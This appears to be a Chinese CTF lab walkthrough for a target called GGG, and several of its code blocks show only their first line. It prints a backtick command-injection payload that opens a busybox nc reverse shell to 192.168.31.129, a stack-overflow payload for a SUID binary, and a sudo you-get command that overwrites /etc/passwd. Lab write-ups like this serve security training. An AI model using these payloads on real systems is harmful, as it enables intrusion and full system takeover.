信息搜集
1 | ┌──(root㉿kali)-[~/Desktop/tmp] |
git泄露
80端口是一个用js写的管理系统,账号密码都写在前端
1 | const CORRECT_USERNAME = 'welcome'; |
登陆后有一个假的文件上传还有一个邮箱admin@ggg.dsz
。扫描目录可以扫到一个.git
1 | ┌──(root㉿kali)-[~/Desktop/script/gitTools-v0.0.1/Dumper] |
git log可以看到还有一个域名gggbaby.ggg.dsz
1 | ┌──(root㉿kali)-[~/…/script/gitTools-v0.0.1/Dumper/clone] |
将ggg.dsz
和gggbaby.ggg.dsz
添加进hosts里,访问gggbaby.ggg.dsz
还是一个管理系统。
命令执行反弹shell
用泄露的密码登录,多了一个网络诊断工具。老演员了,拼接分号什么的都不行,后面应该有过滤的东西
1 | 127.0.0.1;`busybox nc 192.168.31.129 4444 -e /bin/bash` |
用这个可以弹出来shell,查看network-test.php
1 | <?php |
他将这些字符全部替换为空了,但是反引号没有过滤,他是通过拼接字符串用shell_exec
来执行的命令,shell_exec允许开发者通过 shell 执行命令。所以拼接上反引号,shell会先执行反引号里面的命令,然后将命令执行的结果再拼接执行。
就像这样:
栈溢出提权
/opt目录下有一个带有suid权限的可执行文件,还有他的源码
1 | www-data@GGG:/opt$ ls -al |
覆盖60个垃圾数据,然后加上\x34\x12\xCD\xAB
就可以将execute覆盖成0xABCD1234
了,覆盖成功后他会用/bin/bash监听一个1234端口,nc连接
1 | ┌──(root㉿kali)-[~/Desktop/tmp] |
写一个公钥进去,然后ssh连接
提权root
1 | anjv@GGG:~$ sudo -l |
You-Get 是一个用于下载多种音视频媒体资源的 Python 爬虫程序。相当于可以写入任意文件了,将/etc/passwd覆盖掉
1 | ┌──(root㉿kali)-[~/Desktop/tmp] |
1 | anjv@GGG:~$ sudo /usr/local/bin/you-get 192.168.31.129/passwd -O /etc/passwd |